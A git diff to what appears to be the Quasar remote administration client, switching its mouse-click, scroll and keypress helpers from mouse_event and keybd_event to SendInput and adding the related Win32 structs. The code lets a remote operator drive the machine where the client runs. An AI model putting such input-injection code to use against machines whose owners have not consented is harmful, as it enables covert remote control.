diff --git a/Quasar.Client/Helper/NativeMethodsHelper.cs b/Quasar.Client/Helper/NativeMethodsHelper.cs
index af10fdf5..1002244e 100644
--- a/Quasar.Client/Helper/NativeMethodsHelper.cs
+++ b/Quasar.Client/Helper/NativeMethodsHelper.cs
@@ -8,6 +8,9 @@ namespace Quasar.Client.Helper
{
public static class NativeMethodsHelper
{
+ private const int INPUT_MOUSE = 0;
+ private const int INPUT_KEYBOARD = 1;
+
private const uint MOUSEEVENTF_LEFTDOWN = 0x0002;
private const uint MOUSEEVENTF_LEFTUP = 0x0004;
private const uint MOUSEEVENTF_RIGHTDOWN = 0x0008;
@@ -27,12 +30,50 @@ public static uint GetLastInputInfoTickCount()
public static void DoMouseLeftClick(Point p, bool isMouseDown)
{
- NativeMethods.mouse_event(isMouseDown ? MOUSEEVENTF_LEFTDOWN : MOUSEEVENTF_LEFTUP, p.X, p.Y, 0, UIntPtr.Zero);
+ NativeMethods.INPUT[] inputs = {
+ new NativeMethods.INPUT
+ {
+ type = INPUT_MOUSE,
+ u = new NativeMethods.InputUnion
+ {
+ mi = new NativeMethods.MOUSEINPUT
+ {
+ dx = p.X,
+ dy = p.Y,
+ mouseData = 0,
+ dwFlags = isMouseDown ? MOUSEEVENTF_LEFTDOWN : MOUSEEVENTF_LEFTUP,
+ time = 0,
+ dwExtraInfo = NativeMethods.GetMessageExtraInfo()
+ }
+ }
+ }
+ };
+
+ NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
}
public static void DoMouseRightClick(Point p, bool isMouseDown)
{
- NativeMethods.mouse_event(isMouseDown ? MOUSEEVENTF_RIGHTDOWN : MOUSEEVENTF_RIGHTUP, p.X, p.Y, 0, UIntPtr.Zero);
+ NativeMethods.INPUT[] inputs = {
+ new NativeMethods.INPUT
+ {
+ type = INPUT_MOUSE,
+ u = new NativeMethods.InputUnion
+ {
+ mi = new NativeMethods.MOUSEINPUT
+ {
+ dx = p.X,
+ dy = p.Y,
+ mouseData = 0,
+ dwFlags = isMouseDown ? MOUSEEVENTF_RIGHTDOWN : MOUSEEVENTF_RIGHTUP,
+ time = 0,
+ dwExtraInfo = NativeMethods.GetMessageExtraInfo()
+ }
+ }
+ }
+ };
+
+ NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
}
public static void DoMouseMove(Point p)
@@ -42,12 +83,48 @@ public static void DoMouseMove(Point p)
public static void DoMouseScroll(Point p, bool scrollDown)
{
- NativeMethods.mouse_event(MOUSEEVENTF_WHEEL, p.X, p.Y, scrollDown ? -120 : 120, UIntPtr.Zero);
+ NativeMethods.INPUT[] inputs = {
+ new NativeMethods.INPUT
+ {
+ type = INPUT_MOUSE,
+ u = new NativeMethods.InputUnion
+ {
+ mi = new NativeMethods.MOUSEINPUT
+ {
+ dx = p.X,
+ dy = p.Y,
+ mouseData = scrollDown ? -120 : 120,
+ dwFlags = MOUSEEVENTF_WHEEL,
+ time = 0,
+ dwExtraInfo = NativeMethods.GetMessageExtraInfo()
+ }
+ }
+ }
+ };
+
+ NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
}
public static void DoKeyPress(byte key, bool keyDown)
{
- NativeMethods.keybd_event(key, 0, keyDown ? KEYEVENTF_KEYDOWN : KEYEVENTF_KEYUP, UIntPtr.Zero);
+ NativeMethods.INPUT[] inputs = {
+ new NativeMethods.INPUT
+ {
+ type = INPUT_KEYBOARD,
+ u = new NativeMethods.InputUnion
+ {
+ ki = new NativeMethods.KEYBDINPUT
+ {
+ wVk = key,
+ wScan = 0,
+ dwFlags = keyDown ? KEYEVENTF_KEYDOWN : KEYEVENTF_KEYUP,
+ dwExtraInfo = NativeMethods.GetMessageExtraInfo()
+ }
+ }
+ }
+ };
+
+ NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
}
private const int SPI_GETSCREENSAVERRUNNING = 114;
diff --git a/Quasar.Client/Utilities/NativeMethods.cs b/Quasar.Client/Utilities/NativeMethods.cs
index 487ef1a3..3ae08c2f 100644
--- a/Quasar.Client/Utilities/NativeMethods.cs
+++ b/Quasar.Client/Utilities/NativeMethods.cs
@@ -6,7 +6,7 @@
namespace Quasar.Client.Utilities
{
///
- /// Provides access to Win32 API and Microsoft C Runtime Library (msvcrt.dll).
+ /// Provides access to the Win32 API.
///
public static class NativeMethods
{
@@ -27,18 +27,6 @@ internal struct LASTINPUTINFO
[DllImport("kernel32.dll", SetLastError = true)]
internal static extern bool QueryFullProcessImageName([In] IntPtr hProcess, [In] uint dwFlags, [Out] StringBuilder lpExeName, [In, Out] ref uint lpdwSize);
- [DllImport("user32.dll")]
- internal static extern bool GetLastInputInfo(ref LASTINPUTINFO plii);
-
- [DllImport("user32.dll")]
- internal static extern bool SetCursorPos(int x, int y);
-
- [DllImport("user32.dll")]
- internal static extern void mouse_event(uint dwFlags, int dx, int dy, int dwData, UIntPtr dwExtraInfo);
-
- [DllImport("user32.dll")]
- internal static extern bool keybd_event(byte bVk, byte bScan, uint dwFlags, UIntPtr dwExtraInfo);
-
///
/// Performs a bit-block transfer of the color data corresponding to a
/// rectangle of pixels from the specified source device context into
@@ -67,28 +55,76 @@ internal struct LASTINPUTINFO
[DllImport("gdi32.dll")]
internal static extern bool DeleteDC([In] IntPtr hdc);
- [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
- internal static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count);
+ [DllImport("user32.dll")]
+ internal static extern bool GetLastInputInfo(ref LASTINPUTINFO plii);
- [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
- internal static extern int memcmp(IntPtr ptr1, IntPtr ptr2, uint count);
+ [DllImport("user32.dll")]
+ internal static extern bool SetCursorPos(int x, int y);
- [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
- internal static extern int memcpy(IntPtr dst, IntPtr src, uint count);
+ [DllImport("user32.dll", SetLastError = false)]
+ internal static extern IntPtr GetMessageExtraInfo();
- [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
- internal static extern unsafe int memcpy(void* dst, void* src, uint count);
+ ///
+ /// Synthesizes keystrokes, mouse motions, and button clicks.
+ ///
+ [DllImport("user32.dll")]
+ internal static extern uint SendInput(uint nInputs,
+ [MarshalAs(UnmanagedType.LPArray), In] INPUT[] pInputs,
+ int cbSize);
+
+ [StructLayout(LayoutKind.Sequential)]
+ internal struct INPUT
+ {
+ internal uint type;
+ internal InputUnion u;
+ internal static int Size => Marshal.SizeOf(typeof(INPUT));
+ }
+
+ [StructLayout(LayoutKind.Explicit)]
+ internal struct InputUnion
+ {
+ [FieldOffset(0)]
+ internal MOUSEINPUT mi;
+ [FieldOffset(0)]
+ internal KEYBDINPUT ki;
+ [FieldOffset(0)]
+ internal HARDWAREINPUT hi;
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ internal struct MOUSEINPUT
+ {
+ internal int dx;
+ internal int dy;
+ internal int mouseData;
+ internal uint dwFlags;
+ internal uint time;
+ internal IntPtr dwExtraInfo;
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ internal struct KEYBDINPUT
+ {
+ internal ushort wVk;
+ internal ushort wScan;
+ internal uint dwFlags;
+ internal uint time;
+ internal IntPtr dwExtraInfo;
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ internal struct HARDWAREINPUT
+ {
+ public uint uMsg;
+ public ushort wParamL;
+ public ushort wParamH;
+ }
[DllImport("user32.dll")]
internal static extern bool SystemParametersInfo(
uint uAction, uint uParam, ref IntPtr lpvParam,
uint flags);
- [DllImport("user32.dll")]
- internal static extern bool SystemParametersInfo(
- uint uAction, uint uParam, ref bool lpvParam,
- uint flags);
-
[DllImport("user32.dll")]
internal static extern int PostMessage(IntPtr hWnd, int wMsg, IntPtr wParam, IntPtr lParam);
@@ -135,7 +171,6 @@ internal struct MibTcprowOwnerPid
public uint remoteAddr;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] remotePort;
public uint owningPid;
-
public IPAddress LocalAddress
{
get { return new IPAddress(localAddr); }